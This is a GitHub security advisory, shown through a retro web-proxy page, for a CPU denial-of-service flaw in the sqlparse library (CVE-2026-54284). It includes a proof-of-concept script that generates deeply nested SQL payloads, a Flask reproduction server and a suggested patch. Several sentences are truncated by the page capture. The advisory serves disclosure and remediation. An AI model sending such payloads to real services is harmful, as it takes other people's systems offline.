GeezerVisonThe World Wide Web, restored to 800 pixels of glory. | ||||||||||||||||||||||||||||
| Home|About|Gaming cabinet|Archives|How it works|Starter sites | ||||||||||||||||||||||||||||
GeezerVison is showing github.com — CVE-2026-54284 - GitHub Advisory Database sqlparse: TokenList.__init__ materializes O(subtree) value per group, causing CPU DoS before depth/token caps trigger
High severity
GitHub Reviewed
Published
DescriptionSummary
The root cause is This is a distinct quadratic from the input-size caps added in GHSA-2m57-hf25-phgg / GHSA-27jp-wm6q-gp25: those caps prevent unbounded work, but the time required to trigger the caps is itself superlinear in payload size. Affected components
Vulnerable code (file:line)
class TokenList(Token): __slots__ = 'tokens' def __init__(self, tokens=None): self.tokens = tokens or [] [setattr(token, 'parent', self) for token in self.tokens] super().__init__(None, str(self)) # ← O(subtree) work per group self.is_group = True def __str__(self): return ''.join(token.value for token in self.flatten())
The grouping pipeline that triggers it lives at Reachable / How input reaches the sink
Real-world consumers that feed user input directly into these entry points include any SQL formatter web service (the Proof of conceptMinimal in-process reproduction (sqlparse 0.5.5, default settings, no caps overridden): import sqlparse, time, signal def _h(s, f): raise TimeoutError() signal.signal(signal.SIGALRM, _h) def measure(label, sql, fn): signal.alarm(30) t0 = time.perf_counter() status = 'OK' try: fn(sql) except sqlparse.exceptions.SQLParseError: status = 'CAP' except TimeoutError: status = 'TIMEOUT' finally: signal.alarm(0) dt = (time.perf_counter() - t0) * 1000 print(f' {status:8} {dt:8.1f}ms {label} ({len(sql)} B)') # Vector 1: deeply nested parentheses for n in (200, 500, 1000, 2000): sql = 'SELECT ' + '(' * n + '1' + ')' * n measure(f'nested-paren n={n}', sql, sqlparse.parse) # Vector 2: deeply nested CASE WHEN for n in (100, 200, 400): case = '1' for i in range(n): case = f'CASE WHEN x={i} THEN {case} ELSE NULL END' measure(f'CASE-nested n={n}', f'SELECT {case} FROM t', sqlparse.parse) Output on the reporter's machine (Python 3.9, sqlparse 0.5.5, single core):
42 million End-to-end reproduction (against running consumer)
from flask import Flask, request, jsonify import sqlparse, time app = Flask(__name__) @app.route('/parse', methods=['POST']) def parse_sql(): sql = request.get_data(as_text=True) t0 = time.perf_counter() try: sqlparse.parse(sql) return jsonify({'ok': True, 'parse_ms': round((time.perf_counter()-t0)*1000, 1)}) except sqlparse.exceptions.SQLParseError as e: return jsonify({'ok': False, 'parse_ms': round((time.perf_counter()-t0)*1000, 1), 'error': str(e)}), 400 @app.route('/format', methods=['POST']) def format_sql(): sql = request.get_data(as_text=True) t0 = time.perf_counter() formatted = sqlparse.format(sql, reindent=True, keyword_case='upper') return jsonify({'ok': True, 'parse_ms': round((time.perf_counter()-t0)*1000, 1), 'len': len(formatted)}) if __name__ == '__main__': app.run(host='127.0.0.1', port=5099, threaded=False) Driver run (Python 3.9, sqlparse 0.5.5,
A 2 KB payload ( Impact
Suggested fixReplace the eager def __init__(self, tokens=None): self.tokens = tokens or [] [setattr(token, 'parent', self) for token in self.tokens] # Avoid materializing the full subtree via str(self): concatenating # children's already-cached `value` is O(len(tokens)) per group, # whereas str(self) recursively flattens the entire subtree which is # O(subtree) per node and turns nested grouping into O(n * depth). super().__init__(None, ''.join(token.value for token in self.tokens)) self.is_group = True Measured against the 0.5.5 source tree with the patch applied locally and the full existing test-suite running (479 passed, 2 xfailed, 1 xpassed; the same baseline as unpatched
End-to-end Flask
The IN-tuple Fix PRA fix PR against the temp private fork, mirroring the diff above with a regression test ( CreditReported by tonghuaroot. References
Published to the GitHub Advisory Database
Reviewed
Last updated
Severity
High
CVSS v4 base metricsExploitability Metrics
Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User interaction
None
Vulnerable System Impact Metrics
Confidentiality
None
Integrity
None
Availability
High
Subsequent System Impact Metrics
Confidentiality
None
Integrity
None
Availability
None
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS score(27th percentile)
WeaknessesWeakness CWE-407Inefficient Algorithmic ComplexityAn algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached. Learn more on MITRE.Weakness CWE-1333Inefficient Regular Expression ComplexityThe product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential. Learn more on MITRE.CVE ID
CVE-2026-54284
GHSA IDGHSA-pwgv-4x5q-6m9f
Source codeCredits
Loading
Checking history
Uh oh!
There was an error while loading. Please reload this page.
See something to contribute?
Suggest improvements for this vulnerability.
| ||||||||||||||||||||||||||||
| You are visitor 01402622 — GeezerVison does not store the pages you look up. Best viewed with Netscape Navigator 4.7 or Internet Explorer 6 at 800×600. No cookies required. |